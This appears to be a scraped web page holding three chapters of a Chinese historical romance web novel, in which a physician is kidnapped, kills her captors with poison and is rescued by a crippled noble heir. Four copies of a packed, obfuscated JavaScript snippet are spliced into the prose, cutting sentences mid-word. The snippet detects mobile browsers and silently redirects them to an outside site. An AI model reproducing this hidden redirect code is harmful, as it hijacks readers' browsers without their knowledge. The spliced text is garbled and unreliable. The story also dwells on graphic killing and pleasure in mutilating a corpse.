他要送一弩袖箭。他看得出来,赵绥宁这些年在外面的日子过得并不好,皮肤不似从前光滑白嫩,手上也长满了茧子,眼下乌青极重,好像很久没睡过好觉。想来也是,她一个人潜藏在外,没有金银细软,无人照拂,不管是钱、粮食还是别的什么,都需要赵绥宁自己去准备。 这样的日子,是极苦的。郁净之幼年,在他娘亲逝世后,过得就是这样的日子。没有钱、没有吃食,变卖劳力也无处接纳,甚至、还会有人跑上来踩一脚。 弱者挥刀向更弱者,似乎只有这样,他们才能暂时忘却自己卑微的身份。遭人践踏的人,在践踏他人时,表情往往是更加快意、扭曲的。 郁净之心疼赵绥宁在外受的苦,看她憔悴,看她落寞,看她变得和从前高高在上、张扬跋扈的贵小姐完全不一样,他深深清楚这种变化是好的,它让赵绥宁得到成长;可他私心又不愿她经受这些,想想她可能到处碰壁、可能食不果腹、可能任人欺凌,他便想将她圈起来,圈在他的手心,妥妥帖帖护着。 可是,他想,一株草、一朵花,它们永远离不开阳光、雨露,即便阳光烈时会晒蔫它们,即便暴雨会无情地打折它们的腰肢。 花草如是,人亦如是。 只有经历过风雨,经历过曝晒,才会成长。 所以,他要送赵绥宁一弩袖箭。赵绥宁善毒,但下毒需要时间,也需要距离。而这袖箭,能帮助她预防突然的危险。 她在成长,他也要变得更强,他要往上爬,爬得更高、更远,给他的阿宁,留一条退路。 这次,断不能像三年前一样,傻得断了双腿,去换一桩不可能的婚事。 郁净之眼神坚定起来,转着轮椅进了安国公的书房。竹影安静地守在外面。 安国公的书房里堆放了很多书籍,有史册兵书,还有诸多古籍典藏。但人人都知道,安国公胸无点墨,为人风流多情,爵位是祖上传下来的,他本人则是半点功绩也无。 若不是安国公郁松那位早死的好哥哥曾救过当今圣上,他也不能守住这爵位数十年。 嵇灵韵评价得很有道理:“文盲。” 郁净之对郁松并不亲近,甚至可以算得上厌恶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920230|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 因为,他娘,是被这个男人害死的。 “阿濯来了?”郁松笑着大步跨进书房,颇为亲切地喊着郁净之的名,“近日身体如何,可有好转?” “孩子,为父属实有些担心你啊。”郁松眼尾蔓延着浅浅的皱纹,这么一笑立刻皱成波浪状,“那位新招进府的医师怎么样?” 郁净之冷淡答:“有劳国公挂心,一切都好。” “你这孩子。”郁松似乎并不介意郁净之的疏远,倒了杯热茶递给郁净之,“这么多年了,还不明了为父的意思吗?” “为父知道,你幼时沦落在外,吃了不少苦,所以一把你找回来,就把你哥哥的世子之位让给了你。”郁松叹气,“整个郁家最好的都给你了。” “你住的院子,位置最好,你哥哥让给你了。你吃的那些药,府中有的,全给你了,没有的,为父也让人去寻。可曾有半点亏待过你?” 郁净之点头,顺着说:“多谢国公厚爱。也多谢哥哥。” “哎……”郁松好似没了办法,无奈叹气。 “那医师给你治得怎么样了?” 郁净之模棱两可道:“好了很多。” 郁松踌躇道:“能完全好转吗?” “不知。”他隐瞒了自己已经能勉强站立的消息。 “今日找你来,为父是想和你商量,关于世子之位——”郁松弯弯绕绕试探半天后,终于回到真正想说的事上,“为父想了想,你有腿疾,日后若是承袭爵位,上朝都困难。再者……” “你身子不好,也没再娶哪家小姐,怕是后嗣无望,这方面为父不逼你,但你要知道,国公府的命脉不能断。” 郁松说的很委婉,大体意思就是郁净之身体不好,给当爹的丢脸,而且恐怕难以人道,没有后代。 听完后,郁净之第一下想到的,居然是赵绥宁会不会介意他这方面……转念一想,她都不喜欢他,又怎么可能在意他能否人道,身体好不好? “所以啊,实在不行,还是让你哥哥继续做世子吧,你也少操点心,安心休养。”郁松安慰似的拍拍郁净之的肩膀,“如若你肯,我便做主让你娶了那医女做填房。” 这回郁净之终于有了反应:“国公,您想换世子得过陛下那一关,您先去宫里请了旨再同我商议。” “还有,别想着把她当做东西一样送给我。”郁净之露齿笑,“你再敢有动她的心思,我杀了郁安,再杀了他娘,最后是你,一把火烧了这腌臜地,让你这高悬头顶的帽子永远戴不上。” “毕竟你知道的,我亲缘淡薄,疯起来六亲不认。”他说,“或者我去刺杀陛下,带着我们郁家九族一起下去,团团圆圆的,不是正好圆了你的念想?” 郁松拳头捏紧,但面上还是挂着笑,说:“阿濯,为父只是想问问你的意见,你误会了……” 郁净之没理他,喊了竹影推着回了自己的院落。 郁松说国公府最好的都给了他,说对他很好。郁净之听着都觉得嘲讽。 六岁那年,他娘死了。之后八年,他流落在外,吃尽苦头。又是三年,郁松来接他。 他天真以为自己又得到了另一个亲人的爱。 8. 饲养疯狗的第八天 却不想,只是又一个新的火坑。 郁松接他回家,是因为他的宝贝儿子郁安中了幻毒。又不知从何处寻的医师,说虽无药可解,但能以至亲行换血秘术。郁松这才想起郁净之这个流落在外十数年的骨血。 于是郁净之以私生子的名头回了京,郁净之取代郁安成了世子,郁净之成了整个国公府“待遇最好”的人。 他被推回屋子里,就放了竹影出去。 不声不响地拿起先前没绣完的纹样,继续绣了起来。 一针一线,仔细绣着。其实郁净之很小很小的时候,他娘教过他刺绣,他绣得很好、很好。阿娘说过,她的阿濯是天底下最聪慧的好孩子。 只是后来,他娘死了,郁净之就再也没绣过什么东西。又为了给赵绥宁绣嫁衣重新拾起,一边绣着,一边失神地把绣花针戳进皮肉里,周而复始。 · 赵绥宁现在很不好。 某种湿哒哒的恶心液体沾满她的外衣,黏在皮肤上。头下是软软的黑色的泥土。 夜深,她不知道自己身在何处,总之不是在国公府。 一个时辰前,小厮跑到了她的院子,递了张纸条说关于谷彤的病症,公主还有别的想问,约她去府上细聊。 她一收到消息就匆忙赶出去,提着灯走在空荡的街道上,没想到就倒霉地被人绑了。 赵绥宁十分奇怪,她一届小小医师,也没治出过人命,也没得罪过谁,况且她已经易了容,和从前相貌只有三四分相似,不仔细想根本认不太出来。 难道是郁净之得罪人了,那人寻不到他的仇就来寻自己报复?这也太不讲道理了。 她叹气,后悔自己太过轻率。 双手有明显的束缚感,眼睛也被遮住,手法还挺专业的。不知道香囊里还在不在……如果没被绑匪摘下的话,她或许还有机会反抗。 “咕噜咕噜”的车辙声响起,又很快消失。然后是脚步声,有些杂乱,对面起码有五个人,赵绥宁皱眉。 今天她不会折在这里吧。 脚步声离她越来越近。 有什么东西轻轻覆在她面上,湿湿的,像是沾了水的纱巾?还是宣纸? 一层又一层。 鼻息被挡住,却又能透出一点,吸进一点,这是极大的折磨,赵绥宁不得不更努力地呼吸才能维持正常状况。 很难受。 密密麻麻的汗珠迅速在她鬓间聚集,却迟迟不落下。 她隐约听到身边有人在说话,不远不近的距离。 “你要做……”是轻却沙哑的女声。 接着男人的声音响起:“若不是她……” “我们的事……毁……” 赵绥宁再无法专注地去听那对男女的交谈了。放在她脸上的东西越来越多,越重,水液浸湿的层状物带来被缠绕般的窒息感。 快呼吸不过来了。 不行。 赵绥宁挣扎着像活鱼一样翻滚起来,试图把脸转着让层状物掉落。 阻隔感终于剥离,她大口大口呼吸喘着气,渴求着空气。 久违的接近死亡的感觉,她磨着后牙,嘴唇紧抿。 沉重的一脚落到她身上,赵绥宁闷哼一声蜷起身子。 她终于听清那对男女在说什么了。 “你要杀了她吗……” “当然,如果不是她,我们现在早就远走高飞了!” “可是她是郁净之带过去的人……” “郁净之腿都废了,陛下不会再用他了!我们筹谋这么久,都怪这个女医!” 赵绥宁敏锐地捕捉到关键,“郁净之带过去的人”。从她进国公府到现在,唯一一次和郁净之出去就是今晚的公主府,宴会上。那男人说,是她毁了……他们的计划? 她只做了一件事,就是救了雷公藤中毒的谷彤。 女人的声音是沙哑的,虚弱又疲惫,还有些隐约不可闻的害怕,之前应该没做过这种事。 而这个男人……是主谋。 赵绥宁缓了缓,忍着后腰处的疼痛,开口:“我知道你们的计划。” “出来之前,我和世子说过,若我一个时辰没回去,他会寻着我留下的印记,来找我。” 为今之计,只能拖延,再找机会……用毒。转过身体之后,小腹处有被挤压的感觉,明显香囊还在。 “你怎么会知道我们的计划!”女人惊呼,似乎想冲过来做什么,但很快被人拦住了。 男人也沉默了一会儿,但很快冷笑道:“你连我们是谁都不知道,又怎么会知道我们的计划是什么?” “郁净之会来找你?天大的笑话。他那个心硬得更臭石头一样没有感情的人,怎么会为了一个小小医女过来。”男人哼着,“而且他两条腿都废了,怎么会赶到这里,推着轮椅慢慢滚过来吗?” 赵绥宁深呼吸,喊道:“谷小姐。” 谷彤惊慌地看了眼身旁的男人,咬着唇没说话。 “谷彤。”赵绥宁又说,“你的身体现在很危险,牛黄丸和参汤只能暂时吊着你的命,若真杀了我,京城之内少有见过此毒的医师。” “你会死的。”她冷着声音,说。 任何人,生命和存在是放在第一要位的。如果人对活着都没有需求,那就违背生物本能了。 谷彤是高门大户的小姐,从小被宠着,不会随意轻生,可在宴会上谷彤对她救治的行为却十分恼火,再加上男人说她破坏了他们的计划…… 说明,谷彤不会出事,或者,她单方面觉得自己不会出事。 但是雷公藤中毒是有前兆的,她一定经历了几天的症状,比如腹痛,比如便血。既然这样,她还觉得没事心甘情愿继续不就医,那么,这个让她心甘情愿服毒的人,一定对她来说很重要。 亲近、依赖、信任、计划、远走高飞。 赵绥宁对谷彤和男人的关系有了初步的想法。 “你们是情人关系吧。”赵绥宁几乎是扯着嗓子挤出来的,“想假死一起离开?” 必须,必须拖延时间。 谷彤完全慌了,小声地跟男人说:“怎么办?她真的知道……” 男人安慰她说:“别怕,只要把她杀了,就不会有事了。” 脚步声一下一下锤在地上,震得赵绥宁耳膜生疼。 “谷彤!别傻了!”她闭眼,喊道,“他根本不爱你!” “雷公藤早期服用或许还有转圜的余地,拖到现在你能苟延残喘活着就已是不易了!” “一个爱你的人,怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920231|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让你陷入险境!”赵绥宁吼完,拼尽全身力气想要挣脱绳索。 可是绳子实在绑得太紧了。 谷彤神情慌张,惊魂未定地看着赵绥宁,又看看男人。 突然,谷彤捂着肚子凄惨地叫了起来,几乎哭着说:“周郎!” “肚子好痛……”冷汗从谷彤的后背漫出。 这阵痛突如其来,剧烈又磨人。 唤作周郎的男人并没有因此停下脚步,反而无视了谷彤的痛苦,一步一步靠近着赵绥宁。 另外几个人没有动,还是站在原地。但是听到谷彤的叫声,像是有些迟疑。 剩下的人,是男人带来的,还是谷彤找的人? “周郎,她说她能救我,你先把她松绑,让她治治我!”谷彤捂着肚子,求道,“周郎,我好痛……” 男人说道:“别蠢了小彤,这全是这医女的托辞。” “那我怎么办?”谷彤近乎绝望,“要我死吗?” 男人突然停下来,笑着说:“对啊。” “你不死的话,我的计划怎么能继续下去呢?” 赵绥宁瞳孔紧缩,这个男人,是在利用谷彤。 那现在,她和谷彤都有危险。她被捆着没办法用毒药,谷彤身体那么虚更加没有助力。 如果,如果有尖锐的物体就好了,如果她有武器就好了。 男人似乎改了主意,挥挥手道:“你们四个,把这医女杀了。” 他自己则是回到谷彤身边,站着欣赏谷彤狼狈的样子。 谷彤已经痛得痉挛,完全直不起腰,只能虚虚靠着墙大口呼吸。 “周至,你为何要这么对我!我为了我们的未来放弃了我的身份,我的家族,甚至我的健康。”谷彤的泪水布满面庞,“你却要我死?” 周至冷笑,说:“未来?被你呼之即来挥之即去的未来吗?如果不是为了主上的计划,我怎么会跑到你身边给你当牛做马使唤这么久?” “笑话。” 现在解不开绳子,但是香囊里有一瓶毒药腐蚀性极强,可以用它腐蚀掉绳索。 但如何能让香囊里的药瓶碎裂开呢? 赵绥宁深呼吸,迫使自己冷静下来。 可外部的危险容不得她多想。 冰冷的刀刃已经贴上她的脖颈,隐约有滚烫的血流出。 电光火石间,赵绥宁的脚用力蹬地,飞速向上扭了下,锋利的刀在她小腹处划了一下。 衣服破开一道口子,腹部白嫩的软肉也被割开,深深流着血。 香囊也被划破。赵绥宁咬牙忍着痛带动整个腹部抬起,接着往地上砸,再抬起。 “啪”地一声,小瓶装着的毒药溅了一地,蹲着的男人们被飞溅的毒液高温烫伤,顿时捂着脸捂着眼睛吃痛叫出声。 赵绥宁趁机飞快地翻了个身,将被捆住的手死死摁在地上那滩毒液上。 剧烈的烫意烧开,不知名的碎片扎进皮肤,腹部的血还不断流着,她死死咬唇。 终于,绳子被腐蚀开。 她的手可以动了。 这时,周至听到了喧闹,起身走了过来。 赵绥宁扯掉蒙着眼睛的布,一只手捏着香囊,一只手捂着不断出血的腹部,狠狠瞪着面前几个男人。 9. 饲养疯狗的第九天 周至下了命令:“愣着做什么,一个女人都杀不了吗?” 赵绥宁面前的五个大汉顿时忍着痛站了起来,一股脑儿地向她冲了过来。但是她没有后退,握着香囊里的毒粉静静等待。 大汉们明显不是专业杀手,动作笨拙但胜在力气,她很快就落入下风,被人轻松地拎起甩到墙上,再重重摔下。 “砰”的一声。 她兀然喷出一口鲜血。疼,彻骨的疼。浑身上下都像是被巨石碾碎一样。胸口处闷得近乎喘不上气,还有腹部的伤口不断流血,提醒着她现在危机重重的紧急情况。 握着毒粉的手捏得很紧,指甲几乎嵌进肉中。 只剩这些毒粉了……如果用来解决这五个大汉,就只能空手面对周至了。 但她来不及犹豫了,她不得不用,否则,她现在就要死掉了。 赵绥宁扶着墙一点一点爬起来,然后坚定地抬头,黑色的眸子中闪烁着耀眼的光。她深吸一口气,猛地纵身跃起,旋转间,星星点点极细的毒粉呈散射状被她精准地洒到大汉们的口鼻处。 随后,大汉们僵在原地,一个接着一个重重仰倒在地,身体不自然地蜷缩,盘成圈状。他们无一不双眼翻白,七窍流血,死状极惨。 周至阴沉着脸,视线锐利地射向赵绥宁,说:“你会用毒?!” 赵绥宁捂着腹部强撑着,冷汗不停地从鬓边落下,面色苍白。她扯出一抹笑,说:“你想试试吗?” “我还有很多毒。给他们用的是幽石散,只要一点点吸入口鼻就能瞬间暴毙。”她夸大了毒性。 “还有一种毒,名叫破尸。我混合了二十种剧毒,还加了蛊虫制成的毒丸,服用者半柱香之内受尽疼痛,如火焰炙烤,再过半柱香气息全无。死后蛊虫食尽肺腑,破腹而出。” “周至,你以为我只会治病救人吗?”赵绥宁咽下喉咙里的血,笑着说,“我杀的人,比我救过的人,要多得多。” 周至闻言仔细打量她,上上下下来回看着,似乎在判断她的话是否虚张声势。 赵绥宁也用视线扫他。 周至身材高大,先前踹她那一脚十分有力,或是练过武。可惜她年少时没学些功夫在身上,否则,现今也不会落到如此境遇。 她着实想不通,两个人要私奔离开,和她有什么关系。还有周至说的话,他的计划、主上。也就是说,他原本的目标应该是谷彤,他以情相诱、希望谷彤死。可谷彤一届闺阁女儿,又能得罪谁。 不对,谷彤毒发的时候是在公主府。 或许,他的目标不单纯是让谷彤死,而是要让谷彤死在公主府。如果今晚郁净之没带她去赴宴,谷彤就会毒发身亡。郁净之说她为公主省了一番烦心事。谷彤不明不白死在公主府,必然其父中书令不会善罢甘休。 要挑起公主和中书令的矛盾吗?中书令谷大人、可曾站队过谁…… 赵绥宁注意到谷彤没有先前那么痛苦了,整个人颇有些回光返照的感觉。她看见谷彤瞪着黑白分明的眼睛,一动不动地望着周至的背部,嘴唇咬出血来。 她忽然转移了一个话题,说:“周至,你今日杀我我无所谓,我有毒可以和你拼。但你真的要杀你的谷小姐吗?” “她放弃了那么多选择相信你,你确定要践踏她的心意、把她玩弄于股掌间吗?” “真是不值得啊。” 她看见谷彤的身体开始发抖,拳头也紧紧捏着。 她决定再加把火,说:“周至,你是想让她在公主府上毒发身亡,然后嫁祸给公主殿下,进而挑起中书令和公主的矛盾,为你的主子行方便?” 周至抿唇,恶狠狠盯着她,没有承认也没有否认,这就已经是答案了。 赵绥宁笑了:“看来,我猜对了。” “这场感情,从一开始,就是奔着她死的巨大谎言。” “谷彤,你后悔吗?” 谷彤的身体已经紧绷到极点,仿佛下一秒就要崩溃。 周至很显然没有把谷彤放在眼里。 半晌,他冷笑道:“这位医师,你是在拖时间吗?” “你说的那些毒,根本就没有吧?” 周至的眼睛像狼一样凶恶地扫过赵绥宁全身,肌肉绷紧,并步跃到她身前,一只手牢牢扼住她的咽喉,将她整个人掐着脖子拎起来摁在墙上,另一只夺过她的香囊,说:“刚才,你就是拿了这个才杀了他们的。” 他大笑着抖落香囊,道:“怎么?你的毒药不在这里吗?” 赵绥宁的脸因为缺氧漫上红晕,她用力动着,双手去扒周至掐她脖子的手掌,却因为身上的伤和先前搏斗耗尽的体力无法撼动周至的手。 她依旧挣扎着。 赵绥宁还不想死,至少现在、不能死。 她们赵家,不能一直顶着私通敌国的名头;她爹她娘她姐姐,还有赵氏三族的亡魂,不能得不到身后安息。 不可以。绝对不可以。 她用尽最后的力气,大声喊道:“谷彤!”然后依旧奋力去扒周至的手。 突然,谷彤动了。 一把拔下发髻上的金钗,死死捏在手心,接着一点一点挪动着步子走过来。 赵绥宁的视线已经模糊到看不清了。 她的呼吸越来越微弱。 ——周至叫出了声! 脖子上的力道一下子卸开,赵绥宁从墙上滑倒,跌坐在地上,背靠着墙,浑身被汗水浸透。 她捂着脖子大口大口喘气,眨着眼睛,眼泪被呛出来。 隔着模糊的泪,赵绥宁隐约看见,原本掐着她脖子的周至正捂着哪里,不可置信地半弯着腰。 而他身后,一个颤颤巍巍的身影,哽咽着说:“你……去死……” 赵绥宁抹了把眼泪,仔细盯着。 谷彤的金钗正正插在周至后背,是心脏的正后方。 小姑娘的手还举着,在空中颤抖着。 结束了吗? 赵绥宁用手撑着墙。 最后时刻,周至突然爆发出一股巨大的力量,稳稳拔出钗子迅速插进谷彤颈部。 谷彤软绵绵地倒了下去。 然后,是赵绥宁。 周至眼白泛红,手背上青筋暴起,拿着钗子逼近赵绥宁。 金钗顶端离她只有一指距离时,破空之声铮鸣而来,似雷霆乍开。 冷白的刀光在月下爆闪,倏而消失不见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920232|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接着是夹杂着露水气的怀抱。 赵绥宁被来人紧紧抱住。 她抬手下意识想推开,犹豫了两秒又放下了手。 “世子……你来了呀……” 现下这个情形,她一时竟不知道说些什么。 “别动……”察觉到她的挣扎,郁净之却抱得更紧,手臂死死扣住她的腰,头埋在她颈肩,声音沙哑。 赵绥宁嗅到郁净之身上有血腥气,但她也分不清是不是因为这个拥抱裹挟着她的血到郁净之身上。 郁净之全身都在抖,指尖绷着压在她后腰。他们贴得好近。赵绥宁觉得,这不是他们应该有的正常距离,也不是他们应该做出的正常行为。 两个人,郁净之是主人家的身份,而她现在只是一个医女,这样抱着,像什么样子…… 可她又不敢动,怕郁净之突然发疯。 郁净之抱她抱得更紧了,勒得她喘不过气来。他们贴得更近了,郁净之的腰身紧紧贴着她的小腹。 湿润的液体滴在她黏腻的脖颈处,荡开一圈暖意。 泪……是热的? “嘶……”赵绥宁没忍住,一下子低呜出声。 她腹部的伤口还在流血呢……还是让郁净之离她远点吧……不然她还没被周至弄死就被郁净之抱死了…… 还没等她开口,郁净之就松开了她,垂着头背过身,没忘记把带来的赵绥宁的药箱给她,哑着嗓子说:“我带来了你的东西。” “你先涂药,再包扎伤口。” “……” “我可以帮你吗……”郁净之过了会儿,说,“我还带了最好的金疮药。” 赵绥宁白着脸,从药箱里简单拿出普通止血的药,简单撒在腹部伤口处。 她想动手撕自己的衣摆,但是现在没什么力气,怎么撕都撕不开。 眼前突然多了一方干净的、质地看着极为柔软的素色丝帕,一米见方。 “用这个。”他说,“我自己绣的,没用过,很干净。” 还是香的。 赵绥宁接过来迅速缠在腰上。 “谢谢世子……” 突然很安静。 郁净之点头:“嗯……” 她又立刻跑到躺着的谷彤那里去,去探谷彤的脉搏。 很微弱,但还好活着。 她不禁感叹,谷彤的命还挺硬,被下了毒,又捅了脖子,还能活着。 感慨之余,她从药箱里拿出一个小瓶子,扒开谷彤的嘴巴喂进去。 这里面,装的是她的血练的药,危急关头能救死人。 做完之后她用袖子擦拭头上的汗,再抬头,发现郁净之正盯着她。 她这晚上被盯太多次了,居然没有害怕,而是问询:“世子?” “你的脖子,有一道血痕。”郁净之比划着说,“这里。” 赵绥宁这才反应过来,说:“刚才不小心划到的。” 郁净之的脸比失血过多的赵绥宁还要惨败,嘴唇更是血色全无。 她看着状态不对的郁净之,试探着问:“世子?你……怎么了?” 她突然意识到,从刚刚被抱住,到现在,郁净之一直都是站着的! 10. 饲养疯狗的第十天 “无事。”郁净之慢慢摇头,低声道,“你……疼吗?” 赵绥宁不好意思回话,她怕自己控制不住骂郁净之笨,身上被捅这么大一个口子,不疼才怪。 她忽然想起来,问道:“世子不是说不善绣活吗?我看刚才你给我的那方丝帕,就很好,很舒服。” “突然开窍了。”郁净之说得云里雾里。 刀从血肉中拔出的声音。 带着隐约氧化发黑的血液的刀柄,被递到赵绥宁面前,郁净之静静望着她,说:“捅回去。” “你那时候有多痛,就用多大的力气。” 方才郁净之那一刀很利落地取了周至性命,现在地上已然瘫着六具死尸。 “好。”赵绥宁稳稳接过,在手上掂了掂转出花样。 她走过去,蹲在周至尸体前,面不改色地将刀刃抵在周至脖颈处,双手握着试探着往下刺。 刀进入皮肉时并没有赵绥宁想象得轻松。初开始像抵在一层厚厚的膜上,周至的皮肤短暂地凹了下去,再然后她加了力。 一只冰凉的手覆了上来,包裹住她的手,施了力道刺了进去。 “噗嗤”一声,没有了先前的阻力,反而变得软绵绵的。再往下,阻力又变大,隐约是刺进了肌肉群,生涩的感觉。 她紧紧握住了刀,提起、落下,如此反复十次,直到周至体内还没流干的血液喷溅出来,沾染她半张脸,又弄脏郁净之雪白的素色衣服。 赵绥宁抬起脸,冲郁净之笑了下。 她忽然有些沉迷这种快感。 主宰别人生命的感觉,原来这么畅快。即使是一具死尸,也让她觉得,先前的那些痛苦,被复仇的愉悦尽数冲刷。 郁净之用黑色的瞳仁安静地看着她。 他的眼睛很漂亮,是黑白分明的。睫毛浓密,眨起眼睛时像小小的扇子。 这么描述郁净之或许不太准确,她仿佛完全忽略了他的危险性。可这瞬间,赵绥宁的真实想法的确是这样。 没有了偏见、忽视,郁净之有一张好脸。保养得宜,光滑又白腻,像是日日敷粉养成的嫩嫩的面皮。 他慢慢打开包住赵绥宁双手的掌心,轻轻合拢,只留一节食指关节,温柔地擦拭她脸上的血迹。 “世子平时会涂粉吗?”赵绥宁问。 郁净之摇头,说:“很少。” “那你的皮肤还挺好。”她又想起自己在外躲藏那段苦日子,摸了摸自己有些起皮的脸,酸溜溜地说。 赵绥宁从前也有一张精心呵护着的美人面。 “多谢。”他露了笑,谢道。 …… 她没夸他。 “……不谢。”赵绥宁想了想,还是没有说实话。 “力气恢复了吗?”郁净之问。 她诚实摇头:“还没。” 今晚是她这段时间消耗最多的一次。 差点,命没了。 “手。”他颔首。 她有点懵地看了看自己的手。 药箱被挪了过来。郁净之轻柔拉过她的手,酥酥麻麻的,像是握着又像是蹭着,用解毒药给她涂着被腐蚀的外翻的肉。 边涂边吹着凉气。 她没控制住缩手。 “疼?”郁净之抬头看她。 赵绥宁摇头,说:“痒。” 他调整了力道,继续抹药。 从赵绥宁的视角,她依旧看到的还是郁净之的纤细浓密的睫毛,接着往下扫,是高挺的鼻梁,和已经恢复红润的薄唇。 耳垂上有一点疤痕,像是戴耳环的地方。 她的注意力被郁净之红润的唇吸引过去。很好看,貌似……很好亲? 赵绥宁蓦地被自己莫名其妙的想法吓到了。 罪过罪过。她在心里偷偷和郁净之道了歉。 郁净之极为认真地给她上药,她一时有些分不清到底谁是医师了。百无聊赖,她还是换了看的地方。 谷彤的胸口有细微的起伏,像是没什么问题了。 上完药她还是要请郁净之把谷彤送回中书令府上,至于她自己,或许今晚要早点告诉嵇灵韵她经历的事,和推测的计划。 要不要告诉郁净之呢?她有些犹豫。眼睛转到了地上,郁净之的腿被长袍遮着。 ! 赵绥宁终于意识到,从方才到现在,她一直觉得奇怪但又说不出的事是什么了! 郁净之没坐轮椅!他是走着、甚至跑过来的。这断骨重续养个百来天都不一定能养好,他居然这么瞎造作。 一股气升起,直冲脑门。 她啰啰嗦嗦开始念经:“世子!你怎么能不坐轮椅出来呢!你的腿我才给你修好几天?你就这么瞎弄,你知道要养多少天才能稍微站起来行走吗?” “照我保守估计要三个月,你才能勉强行走,这才两三天啊,你就这么过来?你是不是故意给我找麻烦?以后我三天两头往你院子里跑给你看腿才好吗?” 还没说完就被郁净之的话堵住,他扯了扯衣袍,把腿盖得更深。他说:“我怕。” “来不及……” “我怕来不及。” 怕看见她受伤流血,怕看见她气息奄奄,怕看见她闭上眼睛,怕看见一具冰冷的尸体。 他怕,上辈子的事,这辈子再次发生。 他强忍着不适,策马而来,仅差一息,周至的刀就要划断赵绥宁的脖子了。 赵绥宁一愣,别扭了一会儿,弱弱说:“伤有点疼。” “这里好脏。” “还有我身上,不知道沾的什么脏水,黏着衣服,讨厌。” “我的运气属实不好。” 她一一数落着,说这里不好,说那里不好。 “……你的腿疼吗?” 这回轮到赵绥宁犯蠢了。 郁净之认真摇头,道:“不疼。” 她顶颚,狐疑地盯着郁净之。 郁净之面色坦然,专注地回看她。 她盯了一会儿好似被烫到,别过头去,低低说声:“哦。” “你的脖子。”她听见郁净之说,“可以舔吗?” 赵绥宁倏而瞪大双眼。 “……” “不可以。”她吹胡子瞪眼,正直拒绝。 “为什么?”郁净之歪头,发出疑问。 她不解,哪里有那么多为什么! 十分明显的道理。 第一,她是女人,郁净之是男人,男女授受不亲。 第二,她不喜欢郁净之。 那难道喜欢就可以舔了吗?赵绥宁猛地摇头。 第三,这个请求十分变态,不合常理。 第四,…… 她暂时想不出来了。 “没有为什么。”赵绥宁笑着从嘴巴里挤出这几个字。 郁净之颇为失望地说:“哦,好。” 她忽然有点想拆开郁净之的脑袋看看里面究竟装的是什么。 上次给他解幻毒,从指尖引出小蛊虫,结果这家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920233|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒就含着她的手指。这次,又盯着她的脖子盯了好几遍,问出这种没脸没皮不知羞耻的话…… 等等,他不会一进来看到她脖子流血的时候,就有这个念头了吧。 赵绥宁转头,用一种很奇怪的眼神看着郁净之。 “晚上世子送谷小姐回去吧。”她说起正事,“等她醒来询问的话,或许可以知道其中缘由。” 郁净之摇头:“我送你回府。” “那谷小姐呢?”她又问。 马蹄飞踏的声音在外响起。 “有人接她。”郁净之说,“我来接你。” 后来莫名其妙赵绥宁就坐到马上,郁净之坐在她身后勒着缰绳。 “抱歉,走得匆忙,没带马车。” 赵绥宁尴尬笑着,说:“不妨事。” 她现在又不是什么娇小姐,出门还坐马车,有点过于装了。 虽然是这么个理,但是赵绥宁还是觉得,马鞍太硬了,磨得她腿肉疼。 嗯,有点挤,她和郁净之都贴一处了,还是马车宽敞些。 “世子,其实你身体不方便,出行还是要带着马车的。”她语重心长地和郁净之建议道。 贴着她后背的胸腔震鸣,她听见郁净之轻笑道:“好。” “多谢赵医师提醒。” 赵绥宁羞赧地红了脸。 “世子,你认识那个姓周的死人吗?”她的话有点没头绪,错乱着问。 郁净之点头,说:“有点眼熟,像是在诗会上见过。” 她有些惊讶:“您也会去诗会……那个人去诗会?!” “我看他肌肉紧实,像是习过武。没想到他居然还去这种文人聚集的地方,怪哉……” 郁净之无视了她前半句的疑惑,反问:“看他肌肉紧实?” “怎么看出来的?”他说,“我倒是觉得他是没管理好身材,一身全是吃出来的。” “男子应以纤弱柔顺为美。” 赵绥宁幽幽想着郁净之的身材,那他也算不上美…… 她说:“其实不是看出来的。” “他当时踹了我一脚,挺疼的,比普通人踹得还要疼很多倍。” “……” 赵绥宁的比较出发点很奇怪。 “还有别人踹过你吗……”郁净之问。 